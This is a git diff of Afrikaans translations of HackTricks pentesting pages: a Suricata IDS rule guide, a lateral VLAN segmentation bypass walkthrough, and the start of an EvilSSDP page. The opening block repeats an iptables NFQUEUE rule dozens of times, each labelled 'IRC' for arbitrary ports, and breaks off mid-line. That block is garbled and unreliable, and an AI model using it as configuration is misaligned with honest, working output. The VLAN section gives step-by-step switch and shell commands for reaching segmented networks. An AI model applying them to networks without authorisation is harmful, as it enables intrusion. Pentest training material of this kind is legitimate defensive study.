|
||||
sudo iptables -A OUTPUT -p tcp --dport 6660:6669 -j NFQUEUE --queue-num 1
|
||||
|
||||
# Skep 'n nuwe iptables reël vir IRC
|
||||
sudo iptables -A OUTPUT -p tcp --dport 7000 -j NFQUEUE --queue-num 1
|
||||
|
||||
# Skep 'n nuwe iptables reël vir IRC
|
||||
sudo iptables -A OUTPUT -p tcp --dport 8000 -j NFQUEUE --queue-num 1
|
||||
|
||||
# Skep 'n nuwe iptables reël vir IRC
|
||||
sudo iptables -A OUTPUT -p tcp --dport 9000 -j NFQUEUE --queue-num 1
|
||||
|
||||
# Skep 'n nuwe iptables reël vir IRC
|
||||
sudo iptables -A OUTPUT -p tcp --dport 9001 -j NFQUEUE --queue-num 1
|
||||
|
||||
# Skep 'n nuwe iptables reël vir IRC
|
||||
sudo iptables -A OUTPUT -p tcp --dport 9009 -j NFQUEUE --queue-num 1
|
||||
|
||||
# Skep 'n nuwe iptables reël vir IRC
|
||||
sudo iptables -A OUTPUT -p tcp --dport 9010 -j NFQUEUE --queue-num 1
|
||||
|
||||
# Skep 'n nuwe iptables reël vir IRC
|
||||
sudo iptables -A OUTPUT -p tcp --dport 9020 -j NFQUEUE --queue-num 1
|
||||
|
||||
# Skep 'n nuwe iptables reël vir IRC
|
||||
sudo iptables -A OUTPUT -p tcp --dport 9030 -j NFQUEUE --queue-num 1
|
||||
|
||||
# Skep 'n nuwe iptables reël vir IRC
|
||||
sudo iptables -A OUTPUT -p tcp --dport 9040 -j NFQUEUE --queue-num 1
|
||||
|
||||
# Skep 'n nuwe iptables reël vir IRC
|
||||
sudo iptables -A OUTPUT -p tcp --dport 9050 -j NFQUEUE --queue-num 1
|
||||
|
||||
# Skep 'n nuwe iptables reël vir IRC
|
||||
sudo iptables -A OUTPUT -p tcp --dport 9060 -j NFQUEUE --queue-num 1
|
||||
|
||||
# Skep 'n nuwe iptables reël vir IRC
|
||||
sudo iptables -A OUTPUT -p tcp --dport 9070 -j NFQUEUE --queue-num 1
|
||||
|
||||
# Skep 'n nuwe iptables reël vir IRC
|
||||
sudo iptables -A OUTPUT -p tcp --dport 9080 -j NFQUEUE --queue-num 1
|
||||
|
||||
# Skep 'n nuwe iptables reël vir IRC
|
||||
sudo iptables -A OUTPUT -p tcp --dport 9090 -j NFQUEUE --queue-num 1
|
||||
|
||||
# Skep 'n nuwe iptables reël vir IRC
|
||||
sudo iptables -A OUTPUT -p tcp --dport 9100 -j NFQUEUE --queue-num 1
|
||||
|
||||
# Skep 'n nuwe iptables reël vir IRC
|
||||
sudo iptables -A OUTPUT -p tcp --dport 9110 -j NFQUEUE --queue-num 1
|
||||
|
||||
# Skep 'n nuwe iptables reël vir IRC
|
||||
sudo iptables -A OUTPUT -p tcp --dport 9120 -j NFQUEUE --queue-num 1
|
||||
|
||||
# Skep 'n nuwe iptables reël vir IRC
|
||||
sudo iptables -A OUTPUT -p tcp --dport 9130 -j NFQUEUE --queue-num 1
|
||||
|
||||
# Skep 'n nuwe iptables reël vir IRC
|
||||
sudo iptables -A OUTPUT -p tcp --dport 9140 -j NFQUEUE --queue-num 1
|
||||
|
||||
# Skep 'n nuwe iptables reël vir IRC
|
||||
sudo iptables -A OUTPUT -p tcp --dport 9150 -j NFQUEUE --queue-num 1
|
||||
|
||||
# Skep 'n nuwe iptables reël vir IRC
|
||||
sudo iptables -A OUTPUT -p tcp --dport 9160 -j NFQUEUE --queue-num 1
|
||||
|
||||
# Skep 'n nuwe iptables reël vir IRC
|
||||
sudo iptables -A OUTPUT -p tcp --dport 9170 -j NFQUEUE --queue-num 1
|
||||
|
||||
# Skep 'n nuwe iptables reël vir IRC
|
||||
sudo iptables -A OUTPUT -p tcp --dport 9180 -j NFQUEUE --queue-num 1
|
||||
|
||||
# Skep 'n nuwe iptables reël vir IRC
|
||||
sudo iptables -A OUTPUT -p tcp --dport 9190 -j NFQUEUE --queue-num 1
|
||||
|
||||
# Skep 'n nuwe iptables reël vir IRC
|
||||
sudo iptables -A OUTPUT -p tcp --dport 9200 -j NFQUEUE --queue-num 1
|
||||
|
||||
# Skep 'n nuwe iptables reël vir IRC
|
||||
sudo iptables -A OUTPUT -p tcp --dport 9210 -j NFQUEUE --queue-num 1
|
||||
|
||||
# Skep 'n nuwe iptables reël vir IRC
|
||||
sudo iptables -A OUTPUT -p tcp --dport 9220 -j NFQUEUE --queue-num 1
|
||||
|
||||
# Skep 'n nuwe iptables reël vir IRC
|
||||
sudo iptables -A OUTPUT -p tcp --dport 9230 -j NFQUEUE --queue-num 1
|
||||
|
||||
# Skep 'n nuwe iptables reël vir IRC
|
||||
sudo iptables -A OUTPUT -p tcp --dport 9240 -j NFQUEUE --queue-num 1
|
||||
|
||||
# Skep 'n nuwe iptables reël vir IRC
|
||||
sudo iptables -A OUTPUT -p tcp --dport 9250 -j NFQUEUE --queue-num 1
|
||||
|
||||
# Skep 'n nuwe iptables reël vir IRC
|
||||
sudo iptables -A OUTPUT -p tcp --dport 9260 -j NFQUEUE --queue-num 1
|
||||
|
||||
# Skep 'n nuwe iptables reël vir IRC
|
||||
sudo iptables -A OUTPUT -p tcp --dport 9270 -j NFQUEUE --queue-num 1
|
||||
|
||||
# Skep 'n nuwe iptables reël vir IRC
|
||||
sudo iptables -A OUTPUT -p tcp --dport 9280 -j NFQUEUE --queue-num 1
|
||||
|
||||
# Skep 'n nuwe iptables reël vir IRC
|
||||
sudo iptables -A OUTPUT -p tcp --dport 9290 -j NFQUEUE --queue-num 1
|
||||
|
||||
# Skep 'n nuwe iptables reël vir IRC
|
||||
sudo iptables -A OUTPUT -p tcp --dport 9300 -j NFQUEUE --queue-num 1
|
||||
|
||||
# Skep 'n nuwe iptables reël vir IRC
|
||||
sudo iptables -A OUTPUT -p tcp --dport 9310 -j NFQUEUE --queue-num 1
|
||||
|
||||
# Skep 'n nuwe iptables reël vir IRC
|
||||
sudo iptables -A OUTPUT -p tcp --dport 9320 -j NFQUEUE --queue-num 1
|
||||
|
||||
# Skep 'n nuwe iptables reël vir IRC
|
||||
sudo iptables -A OUTPUT -p tcp --dport 9330 -j NFQUEUE --queue-num 1
|
||||
|
||||
# Skep 'n nuwe iptables reël vir IRC
|
||||
sudo iptables -A OUTPUT -p tcp --dport 9340 -j NFQUEUE --queue-num 1
|
||||
|
||||
# Skep 'n nuwe iptables reël vir IRC
|
||||
sudo iptables -A OUTPUT -p tcp --dport 9350 -j NFQUEUE --queue-num 1
|
||||
|
||||
# Skep 'n nuwe iptables reël vir IRC
|
||||
sudo iptables -A OUTPUT -p tcp --dport 9360 -j NFQUEUE --queue-num 1
|
||||
|
||||
# Skep 'n nuwe iptables reël vir IRC
|
||||
sudo iptables -A OUTPUT -p tcp --dport 9370 -j NFQUEUE --queue-num 1
|
||||
|
||||
# Skep 'n nuwe iptables reël vir IRC
|
||||
sudo iptables -A OUTPUT -p tcp --dport 9380 -j NFQUEUE --queue-num 1
|
||||
|
||||
# Skep 'n nuwe iptables reël vir IRC
|
||||
sudo iptables -A OUTPUT -p tcp --dport 9390 -j NFQUEUE --queue-num 1
|
||||
|
||||
# Skep 'n nuwe iptables reël vir IRC
|
||||
sudo iptables -A OUTPUT -p tcp --dport 9400 -j NFQUEUE --queue-num 1
|
||||
|
||||
# Skep 'n nuwe iptables reël vir IRC
|
||||
sudo iptables -A OUTPUT -p tcp --dport 9410 -j NFQUEUE --queue-num 1
|
||||
|
||||
# Skep 'n nuwe iptables reël vir IRC
|
||||
sudo iptables -A OUTPUT -p tcp --dport 9420 -j NFQUEUE --queue-num 1
|
||||
|
||||
# Skep 'n nuwe iptables reël vir IRC
|
||||
sudo iptables -A OUTPUT -p tcp --dport 9430 -j NFQUEUE --queue-num 1
|
||||
|
||||
# Skep 'n nuwe iptables reël vir IRC
|
||||
sudo iptables -A OUTPUT -p tcp --dport 9440 -j NFQUEUE --queue-num 1
|
||||
|
||||
# Skep 'n nuwe iptables reël vir IRC
|
||||
sudo iptables -A OUTPUT -p tcp --dport 9450 -j NFQUEUE --queue-num 1
|
||||
|
||||
# Skep 'n nuwe iptables reël vir IRC
|
||||
sudo iptables -A OUTPUT -p tcp --dport 9460 -j NFQUEUE --queue-num 1
|
||||
|
||||
# Skep 'n nuwe iptables reël vir IRC
|
||||
sudo iptables -A OUTPUT -p tcp --dport 9470 -j NFQUEUE --queue-num 1
|
||||
|
||||
# Skep 'n nuwe iptables reël vir IRC
|
||||
sudo iptables -A OUTPUT -p tcp --dport 9480 -j NFQUEUE --queue-num 1
|
||||
|
||||
# Skep 'n nuwe iptables reël vir IRC
|
||||
sudo iptables -A OUTPUT -p tcp --dport 9490 -j NFQUEUE --queue-num 1
|
||||
|
||||
# Skep 'n nuwe iptables reël vir IRC
|
||||
sudo iptables -A OUTPUT -p tcp --dport 9500 -j NFQUEUE --queue-num 1
|
||||
|
||||
# Skep 'n nuwe iptables reël vir IRC
|
||||
sudo iptables -A OUTPUT -p tcp --dport 9510 -j NFQUEUE --queue-num 1
|
||||
|
||||
# Skep 'n nuwe iptables reël vir IRC
|
||||
sudo iptables -A OUTPUT -p tcp --dport 9520 -j NFQUEUE --queue-num 1
|
||||
|
||||
# Skep 'n nuwe iptables reël vir IRC
|
||||
sudo iptables -A OUTPUT -p tcp --dport 9530 -j NFQUEUE --queue-num 1
|
||||
|
||||
# Skep 'n nuwe iptables reël vir IRC
|
||||
sudo iptables -A OUTPUT -p tcp --dport 9540 -j NFQUEUE --queue-num 1
|
||||
|
||||
# Skep 'n nuwe iptables reël vir IRC
|
||||
sudo iptables -A OUTPUT -p tcp --dport 9550 -j NFQUEUE --queue-num 1
|
||||
|
||||
# Skep 'n nuwe iptables reël vir IRC
|
||||
sudo iptables -A OUTPUT -p tcp --dport 9560 -j NFQUEUE --queue-num 1
|
||||
|
||||
# Skep 'n nuwe iptables reël vir IRC
|
||||
sudo iptables -A OUTPUT -p tcp --dport 9570 -j NFQUEUE --queue-num 1
|
||||
|
||||
# Skep 'n nuwe iptables reël vir IRC
|
||||
sudo iptables -A OUTPUT -p tcp --dport 9580 -j NFQUEUE --queue-num 1
|
||||
|
||||
# Skep 'n nuwe iptables reël vir IRC
|
||||
sudo iptables -A OUTPUT -p tcp --dport 9590 -j NFQUEUE --queue-num 1
|
||||
|
||||
# Skep 'n nuwe iptables reël vir IRC
|
||||
sudo iptables -A OUTPUT -p tcp --dport 9600 -j NFQUEUE --
|
||||
### Installeer & Konfigureer
|
||||
```bash
|
||||
# Install details from: https://suricata.readthedocs.io/en/suricata-6.0.0/install.html#install-binary-packages
|
||||
# Ubuntu
|
||||
|
@ -442,70 +130,70 @@ Type=simple
|
|||
|
||||
systemctl daemon-reload
|
||||
```
|
||||
### Reëlsdefinisies
|
||||
### Reëls Definisies
|
||||
|
||||
[Van die dokumentasie:](https://github.com/OISF/suricata/blob/master/doc/userguide/rules/intro.rst) 'n Reël/handtekening bestaan uit die volgende:
|
||||
[Uit die dokumentasie:](https://github.com/OISF/suricata/blob/master/doc/userguide/rules/intro.rst) 'n reël/handtekening bestaan uit die volgende:
|
||||
|
||||
* Die **aksie**, bepaal wat gebeur wanneer die handtekening ooreenstem.
|
||||
* Die **kop**, definieer die protokol, IP-adresse, poorte en rigting van die reël.
|
||||
* Die **reël-opsies**, definieer die spesifieke van die reël.
|
||||
* Die **kop**, definieer die protokol, IP adresse, poorte en rigting van die reël.
|
||||
* Die **reël opsies**, definieer die spesifieke van die reël.
|
||||
```bash
|
||||
alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"HTTP GET Request Containing Rule in URI"; flow:established,to_server; http.method; content:"GET"; http.uri; content:"rule"; fast_pattern; classtype:bad-unknown; sid:123; rev:1;)
|
||||
```
|
||||
#### **Geldig aksies is**
|
||||
#### **Geldige aksies is**
|
||||
|
||||
* waarskuwing - genereer 'n waarskuwing
|
||||
* slaag - stop verdere inspeksie van die pakkie
|
||||
* **verwerp** - verwerp pakkie en genereer waarskuwing
|
||||
* **afwys** - stuur RST/ICMP onbereikbare fout na die sender van die ooreenstemmende pakkie.
|
||||
* verwerpbron - dieselfde as net _afwys_
|
||||
* verwerpdoel - stuur RST/ICMP foutpakkie na die ontvanger van die ooreenstemmende pakkie.
|
||||
* verwerpbeide - stuur RST/ICMP foutpakkies na beide kante van die gesprek.
|
||||
* alert - genereer 'n waarskuwing
|
||||
* pass - stop verdere inspeksie van die pakket
|
||||
* **drop** - laat pakket val en genereer waarskuwing
|
||||
* **reject** - stuur RST/ICMP onbereikbaar fout na die sender van die ooreenstemmende pakket.
|
||||
* rejectsrc - dieselfde as net _reject_
|
||||
* rejectdst - stuur RST/ICMP foutpakket na die ontvanger van die ooreenstemmende pakket.
|
||||
* rejectboth - stuur RST/ICMP foutpakkette na albei kante van die gesprek.
|
||||
|
||||
#### **Protokolle**
|
||||
|
||||
* tcp (vir tcp-verkeer)
|
||||
* udp
|
||||
* icmp
|
||||
* ip (ip staan vir 'alles' of 'enige')
|
||||
* _laag7-protokolle_: http, ftp, tls, smb, dns, ssh... (meer in die [**dokumentasie**](https://suricata.readthedocs.io/en/suricata-6.0.0/rules/intro.html))
|
||||
* ip (ip staan vir ‘alle’ of ‘enige’)
|
||||
* _laag7 protokolle_: http, ftp, tls, smb, dns, ssh... (meer in die [**docs**](https://suricata.readthedocs.io/en/suricata-6.0.0/rules/intro.html))
|
||||
|
||||
#### Bron- en Bestemmingsadressering
|
||||
#### Bron- en Bestemmingsadresse
|
||||
|
||||
Dit ondersteun IP-reekse, negasies en 'n lys van adresse:
|
||||
Dit ondersteun IP-reekse, ontkennings en 'n lys van adresse:
|
||||
|
||||
| Voorbeeld | Betekenis |
|
||||
| ------------------------------ | ---------------------------------------- |
|
||||
| ! 1.1.1.1 | Elke IP-adres behalwe 1.1.1.1 |
|
||||
| !\[1.1.1.1, 1.1.1.2] | Elke IP-adres behalwe 1.1.1.1 en 1.1.1.2 |
|
||||
| $HOME\_NET | Jou instelling van HOME\_NET in yaml |
|
||||
| \[$EXTERNAL\_NET, !$HOME\_NET] | EXTERNAL\_NET en nie HOME\_NET |
|
||||
| ------------------------------- | ------------------------------------------ |
|
||||
| ! 1.1.1.1 | Elke IP-adres behalwe 1.1.1.1 |
|
||||
| !\[1.1.1.1, 1.1.1.2] | Elke IP-adres behalwe 1.1.1.1 en 1.1.1.2 |
|
||||
| $HOME\_NET | Jou instelling van HOME\_NET in yaml |
|
||||
| \[$EXTERNAL\_NET, !$HOME\_NET] | EXTERNAL\_NET en nie HOME\_NET nie |
|
||||
| \[10.0.0.0/24, !10.0.0.5] | 10.0.0.0/24 behalwe vir 10.0.0.5 |
|
||||
|
||||
#### Bron- en Bestemmingspoorte
|
||||
|
||||
Dit ondersteun poortreeks, negasies en lys van poorte
|
||||
Dit ondersteun poortreekse, ontkennings en lyste van poorte
|
||||
|
||||
| Voorbeeld | Betekenis |
|
||||
| --------------- | -------------------------------------- |
|
||||
| enige | enige adres |
|
||||
| \[80, 81, 82] | poort 80, 81 en 82 |
|
||||
| \[80: 82] | Reeks van 80 tot 82 |
|
||||
| \[1024: ] | Vanaf 1024 tot die hoogste poortnommer |
|
||||
| !80 | Elke poort behalwe 80 |
|
||||
| \[80:100,!99] | Reeks van 80 tot 100 maar 99 uitgesluit |
|
||||
| \[1:80,!\[2,4]] | Reeks van 1-80, behalwe poorte 2 en 4 |
|
||||
| ----------------- | ---------------------------------------- |
|
||||
| any | enige adres |
|
||||
| \[80, 81, 82] | poort 80, 81 en 82 |
|
||||
| \[80: 82] | Reeks van 80 tot 82 |
|
||||
| \[1024: ] | Van 1024 tot die hoogste poortnommer |
|
||||
| !80 | Elke poort behalwe 80 |
|
||||
| \[80:100,!99] | Reeks van 80 tot 100 maar 99 uitgesluit |
|
||||
| \[1:80,!\[2,4]] | Reeks van 1-80, behalwe poorte 2 en 4 |
|
||||
|
||||
#### Rigting
|
||||
|
||||
Dit is moontlik om die rigting van die kommunikasiereël aan te dui wat toegepas word:
|
||||
Dit is moontlik om die rigting van die kommunikasie reël wat toegepas word aan te dui:
|
||||
```
|
||||
source -> destination
|
||||
source <> destination (both directions)
|
||||
```
|
||||
#### Sleutelwoorde
|
||||
#### Keywords
|
||||
|
||||
Daar is **honderde opsies** beskikbaar in Suricata om te soek na die **spesifieke pakkie** waarna jy soek, hier sal genoem word as iets interessant gevind word. Kyk na die [**dokumentasie**](https://suricata.readthedocs.io/en/suricata-6.0.0/rules/index.html) vir meer inligting!
|
||||
Daar is **honderde opsies** beskikbaar in Suricata om te soek na die **spesifieke pakket** waarna jy op soek is, hier sal genoem word of iets interessant gevind word. Kyk na die [**dokumentasie** ](https://suricata.readthedocs.io/en/suricata-6.0.0/rules/index.html)vir meer!
|
||||
```bash
|
||||
# Meta Keywords
|
||||
msg: "description"; #Set a description to the rule
|
||||
|
@ -546,14 +234,17 @@ drop tcp any any -> any any (msg:"regex"; pcre:"/CTF\{[\w]{3}/i"; sid:10001;)
|
|||
## Drop by port
|
||||
drop tcp any any -> any 8000 (msg:"8000 port"; sid:1000;)
|
||||
```
|
||||
{% hint style="success" %}
|
||||
Leer & oefen AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Opleiding AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Opleiding GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Ondersteun HackTricks</summary>
|
||||
|
||||
* Werk jy in 'n **cybersecurity-maatskappy**? Wil jy jou **maatskappy geadverteer sien in HackTricks**? Of wil jy toegang hê tot die **nuutste weergawe van die PEASS of laai HackTricks in PDF af**? Kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* **Sluit aan by die** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** my op **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Deel jou hacking-truuks deur PR's in te dien by die [hacktricks repo](https://github.com/carlospolop/hacktricks) en [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
* Kyk na die [**subskripsie planne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Deel hacking truuks deur PRs in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,38 +1,41 @@
|
|||
# Laterale VLAN-segmentering omseil
|
||||
# Lateral VLAN Segmentation Bypass
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
* Werk jy in 'n **cybersecurity-maatskappy**? Wil jy jou **maatskappy geadverteer sien in HackTricks**? Of wil jy toegang hê tot die **nuutste weergawe van die PEASS of laai HackTricks af in PDF-formaat**? Kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFT's**](https://opensea.io/collection/the-peass-family)
|
||||
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* **Sluit aan by die** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** my op **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Deel jou hacking-truuks deur PR's in te dien by die [hacktricks repo](https://github.com/carlospolop/hacktricks) en [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
As direkte toegang tot 'n skakelaar beskikbaar is, kan VLAN-segmentering omseil word. Dit behels die herkonfigurering van die gekoppelde poort na stammodus, die vestiging van virtuele interfaces vir teikenvlans, en die instelling van IP-adresse, óf dinamies (DHCP) óf staties, afhangende van die scenario (**vir verdere besonderhede, sien [https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9](https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9)).**
|
||||
As direkte toegang tot 'n skakel beskikbaar is, kan VLAN-segmentering omseil word. Dit behels die herkonfigurasie van die gekonnekteerde poort na trunk-modus, die vestiging van virtuele interfaces vir teiken VLANs, en die instelling van IP-adresse, hetsy dinamies (DHCP) of staties, afhangende van die scenario (**vir verdere besonderhede kyk [https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9](https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9)).**
|
||||
|
||||
Aanvanklik is identifikasie van die spesifieke gekoppelde poort vereis. Dit kan tipies bereik word deur CDP-boodskappe, of deur te soek na die poort via die **include**-masker.
|
||||
Aanvanklik is identifikasie van die spesifieke gekonnekteerde poort nodig. Dit kan tipies deur CDP-boodskappe gedoen word, of deur die poort te soek via die **include** masker.
|
||||
|
||||
**As CDP nie operasioneel is nie, kan poortidentifikasie probeer word deur te soek na die MAC-adres**:
|
||||
**As CDP nie werk nie, kan poortidentifikasie probeer word deur die MAC-adres te soek**:
|
||||
```
|
||||
SW1(config)# show mac address-table | include 0050.0000.0500
|
||||
```
|
||||
Voor die oorskakeling na stammodus, moet 'n lys van bestaande VLAN's saamgestel word en hul identifiseerders bepaal word. Hierdie identifiseerders word dan toegewys aan die koppelvlak, wat toegang tot verskillende VLAN's deur die stam moontlik maak. Die gebruikte poort is byvoorbeeld geassosieer met VLAN 10.
|
||||
Voor die oorgang na trunk-modus, moet 'n lys van bestaande VLANs saamgestel word, en hul identifiseerders bepaal. Hierdie identifiseerders word dan aan die koppelvlak toegeken, wat toegang tot verskeie VLANs deur die trunk moontlik maak. Die poort wat gebruik word, is byvoorbeeld geassosieer met VLAN 10.
|
||||
```
|
||||
SW1# show vlan brief
|
||||
```
|
||||
**Oorgang na stammodus behels die ingang van die inteface-konfigurasie-modus**:
|
||||
**Oorgang na trunk-modus behels die invoer van interface-konfigurasie-modus**:
|
||||
```
|
||||
SW1(config)# interface GigabitEthernet 0/2
|
||||
SW1(config-if)# switchport trunk encapsulation dot1q
|
||||
SW1(config-if)# switchport mode trunk
|
||||
```
|
||||
Oorskakeling na stammodus sal tydelik konnektiwiteit onderbreek, maar dit kan later herstel word.
|
||||
Switching na trunk-modus sal tydelik verbindingsonderbreking veroorsaak, maar dit kan daarna herstel word.
|
||||
|
||||
Virtuele interfaces word dan geskep, VLAN-ID's toegewys en geaktiveer:
|
||||
Virtuele interfaces word dan geskep, VLAN-ID's toegeken en geaktiveer:
|
||||
```bash
|
||||
sudo vconfig add eth0 10
|
||||
sudo vconfig add eth0 20
|
||||
|
@ -43,33 +46,36 @@ sudo ifconfig eth0.20 up
|
|||
sudo ifconfig eth0.50 up
|
||||
sudo ifconfig eth0.60 up
|
||||
```
|
||||
Daarna word 'n adresversoek gedoen deur middel van DHCP. Alternatiewelik, in gevalle waar DHCP nie haalbaar is nie, kan adresse handmatig gekonfigureer word:
|
||||
Daarna word 'n adresversoek via DHCP gemaak. Alternatiewelik, in gevalle waar DHCP nie haalbaar is nie, kan adresse handmatig gekonfigureer word:
|
||||
```bash
|
||||
sudo dhclient -v eth0.10
|
||||
sudo dhclient -v eth0.20
|
||||
sudo dhclient -v eth0.50
|
||||
sudo dhclient -v eth0.60
|
||||
```
|
||||
Voorbeeld vir die handmatige instelling van 'n statiese IP-adres op 'n koppelvlak (VLAN 10):
|
||||
Voorbeeld van handmatig 'n statiese IP-adres op 'n koppelvlak in te stel (VLAN 10):
|
||||
```bash
|
||||
sudo ifconfig eth0.10 10.10.10.66 netmask 255.255.255.0
|
||||
```
|
||||
Konnektiwiteit word getoets deur ICMP-versoeke na die verstekroetes vir VLANs 10, 20, 50 en 60 te begin.
|
||||
Verbondenheid word getoets deur ICMP-versoeke na die standaardpoorte vir VLANs 10, 20, 50, en 60 te begin.
|
||||
|
||||
Uiteindelik maak hierdie proses dit moontlik om VLAN-segmentering te omseil, wat onbeperkte toegang tot enige VLAN-netwerk fasiliteer, en stel die verhoog vir daaropvolgende aksies.
|
||||
Uiteindelik stel hierdie proses die omseiling van VLAN-segmentasie in staat, wat onbeperkte toegang tot enige VLAN-netwerk fasiliteer en die grondslag vir daaropvolgende aksies lê.
|
||||
|
||||
## Verwysings
|
||||
|
||||
* [https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9](https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9)
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
* Werk jy in 'n **cybersekuriteitsmaatskappy**? Wil jy jou **maatskappy adverteer in HackTricks**? Of wil jy toegang hê tot die **nuutste weergawe van die PEASS of laai HackTricks in PDF af**? Kyk na die [**SUBSKRIPSIEPLANNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Kry die [**amptelike PEASS & HackTricks-uitrusting**](https://peass.creator-spring.com)
|
||||
* **Sluit aan by die** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** my op **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Deel jou haktruuks deur PR's in te dien by die [hacktricks-opslag](https://github.com/carlospolop/hacktricks) en [hacktricks-cloud-opslag](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,53 +1,59 @@
|
|||
# Spoofing SSDP en UPnP-toestelle met EvilSSDP
|
||||
# Spoofing SSDP en UPnP Toestelle met EvilSSDP
|
||||
|
||||
{% hint style="success" %}
|
||||
